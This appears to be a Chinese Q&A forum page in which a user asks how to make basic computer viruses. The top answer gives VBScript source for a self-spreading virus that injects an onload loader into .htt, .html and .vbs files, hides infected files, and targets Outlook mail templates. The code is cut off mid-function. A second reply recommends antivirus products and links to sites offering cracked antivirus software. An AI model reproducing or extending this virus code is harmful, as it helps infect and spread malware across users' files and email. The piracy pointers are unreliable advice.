怎样制作一些基本的电脑病毒
- 提问者网友：我是我
- 2021-03-21 11:17
- 五星知识达人网友：妄饮晩冬酒
- 2021-03-21 11:30
Dim InWhere,HtmlText,VbsText,DegreeSign,AppleObject,FSO,WsShell,WinPath,SubE,FinalyDisk
Sub KJ_start()
\‘ 初始化变量
KJSetDim()
\‘ 初始化环境
KJCreateMilieu()
\‘ 感染本地或者共享上与html所在目录
KJLikeIt()
\‘ 通过vbs感染Outlook邮件模板
KJCreateMail()
\‘ 进行病毒传播
KJPropagate()
End Sub
\‘ 函数：KJAppendTo(FilePath,TypeStr)
\‘ 功能：向指定类型的指定文件追加病毒
\‘ 参数：
\‘ FilePath 指定文件路径
\‘ TypeStr 指定类型
Function KJAppendTo(FilePath,TypeStr)
On Error Resume Next
\‘ 以只读方式打开指定文件
Set ReadTemp = FSO.OpenTextFile(FilePath,1)
\‘ 将文件内容读入到TmpStr变量中
TmpStr = ReadTemp.ReadAll
\‘ 判断文件中是否存在“KJ_start()“字符串，若存在说明已经感染，退出函数；
\‘ 若文件长度小于1，也退出函数。
If Instr(TmpStr,“KJ_start()“) <> 0 Or Len(TmpStr) < 1 Then
ReadTemp.Close
Exit Function
End If
\‘ 如果传过来的类型是“htt“
\‘ 在文件头加上调用页面的时候加载KJ_start()函数;
\‘ 在文件尾追加html版本的加密病毒体。
\‘ 如果是“html“
\‘ 在文件尾追加调用页面的时候加载KJ_start()函数和html版本的病毒体;
\‘ 如果是“vbs“
\‘ 在文件尾追加vbs版本的病毒体
If TypeStr = “htt“ Then
ReadTemp.Close
Set FileTemp = FSO.OpenTextFile(FilePath,2)
FileTemp.Write “<“ & “BODY onload=“““ & “vbscript:“ & “KJ_start()“““ & “>“ & vbCrLf & TmpStr & vbCrLf & HtmlText
FileTemp.Close
Set FAttrib = FSO.GetFile(FilePath)
FAttrib.attributes = 34
Else
ReadTemp.Close
Set FileTemp = FSO.OpenTextFile(FilePath,8)
If TypeStr = “html“ Then
FileTemp.Write vbCrLf & “<“ & “HTML>“ & vbCrLf & “<“ & “BODY onload=“““ & “vbscript:“ & “KJ_start()“““ & “>“ & vbCrLf & HtmlText
ElseIf TypeStr = “vbs“ Then
FileTemp.Write vbCrLf & VbsText
End If
- 1楼网友：逃夭
- 2021-03-21 11:53
我介绍下我用过比较好的杀软.安装好就可以免除病毒之苦! 金山.全国就他通过四次vb100.也是全国杀软中获得最多的 (全国就金山和瑞星参加.金山五次参加五次获得.瑞星两次只得一次) 我用着感觉占资源不太大!抢先杀这新技术不错.监控比较好.(特别是网盾!上网不中毒!) 官方网下载地址 http://www.dubanews.com.cn/
卡巴.不用说.杀毒强悍著称的卡巴!在中国占有一定地位. 我用的时候感觉就是占点资源麻烦了点.!新手和低配置机子最好别用.其他方面还可以! 官方网下载地址 http://www.kaspersky.com.cn/
nod32.全世界占用内存最少的杀软!微软用过4年!自然差不了多少!现在的3.0更是出色 我用着感觉好像没装杀软一样的快速!杀毒能力还可以.杀毒速度还是全世界最快的.总体很好! 官方网下载地址现在最新3.0版本.也有4.0但刚出不稳定!(メоrc﹎嗜殈原创如有雷同.实属抄袭!) http://www.eset.com.cn/
我用过这么多杀软就不一一介绍了.就上面3款我觉得比较好的!你新客户都可以免费试用! 防火墙我介绍风云.很不错. 官方网下载http://www.218.cc/ 国产瑞星就广告出名!安装了你的电脑就会变病毒库! 看下这歌词!笑死你! http://baike.360.cn/4169888/9482445.html
下面给你介绍下安全配置! nod32+360+一键还原(适合256内存的用户.高内存用也没关系.你可以加一个微点主动防御)
金山+360安全卫士+一键还原(适合512以上内存的朋友) 一键还原官方网(免费) http://www.yjhy.net/xzdz.htm
卡巴+360安全卫士+一键还原(适合1g内存或更高的用户)
注意:360安全卫士不是杀毒软件.不能代替杀软!
杀软网!想免费用杀软这里找: http://www.bkill.com/ http://www.lequ123.cn/ 热门论坛:http://bbs.kafan.cn/ 其实杀软破解掉杀毒能力都一样!作者把正版都只修改到杀软可以无限升级而已!